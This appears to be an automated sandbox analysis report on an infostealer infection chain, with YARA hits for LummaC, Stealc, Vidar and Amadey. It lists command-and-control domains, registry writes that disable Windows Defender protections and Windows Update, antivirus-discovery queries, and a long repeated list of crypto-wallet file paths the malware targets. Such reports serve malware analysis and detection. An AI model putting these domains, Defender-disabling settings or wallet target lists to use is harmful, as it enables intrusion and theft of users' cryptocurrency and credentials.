File source: Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088, type: MEMORYSTR

LummaC encrypted strings found

Source: 4TPPuMwzSA.exe, 00000000.00000003.1368549025.00000000054C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 4TPPuMwzSA.exe, 00000000.00000003.1368549025.00000000054C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 4TPPuMwzSA.exe, 00000000.00000003.1368549025.00000000054C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: 4TPPuMwzSA.exe, 00000000.00000003.1368549025.00000000054C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 4TPPuMwzSA.exe, 00000000.00000003.1368549025.00000000054C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: 4TPPuMwzSA.exe, 00000000.00000003.1368549025.00000000054C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tacitglibbr.biz

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DBAEHCGHII.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\DBAEHCGHII.exe "C:\Users\user\Documents\DBAEHCGHII.exe"	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CC94760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

4_2_6CC94760

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CB71C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

4_2_6CB71C30

Source: DBAEHCGHII.exe, DBAEHCGHII.exe, 00000012.00000002.2275548221.0000000000686000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, skotes.exe, 00000013.00000002.2303164726.0000000000D96000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000014.00000002.2302442166.0000000000D96000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: )9LProgram Manager
Source: B4U6J06FD2GOJV7081L.exe, B4U6J06FD2GOJV7081L.exe, 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: d4Program Manager
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2269174982.00000000013B1000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Z'VProgram Manager

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CC4AE71 cpuid

4_2_6CC4AE71

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CC4A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_6CC4A8DC

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Code function: 4_2_6CB98390 NSS_GetVersion,

4_2_6CB98390

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 4TPPuMwzSA.exe, 00000000.00000003.1532264303.0000000001686000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1639489484.0000000001686000.00000004.00000020.00020000.00000000.sdmp, 4TPPuMwzSA.exe, 00000000.00000003.1576196407.0000000001686000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 19.2.skotes.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.skotes.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.DBAEHCGHII.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2274664924.0000000000451000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2261575621.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2233603342.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2259191729.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2529982142.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2302156818.0000000000B61000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2301486962.0000000000B61000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2601381660.0000000000B61000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 4TPPuMwzSA.exe PID: 7508, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2268472466.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2268868915.0000000000FD1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1685938522.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 0T9SUT3NIHPVYFO0WUKXI.exe PID: 8088, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 4TPPuMwzSA.exe, 00000000.00000003.1420787017.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 4TPPuMwzSA.exe, 00000000.00000003.1420787017.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCasht
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4TPPuMwzSA.exe, 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 4TPPuMwzSA.exe, 00000000.00000003.1420787017.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4TPPuMwzSA.exe, 00000000.00000003.1514400361.000000000162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4TPPuMwzSA.exe, 00000000.00000003.1488723704.000000000168D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 4TPPuMwzSA.exe, 00000000.00000003.1420787017.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: 4TPPuMwzSA.exe, 00000000.00000003.1420787017.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum=
Source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2268868915.0000000001054000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: et\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 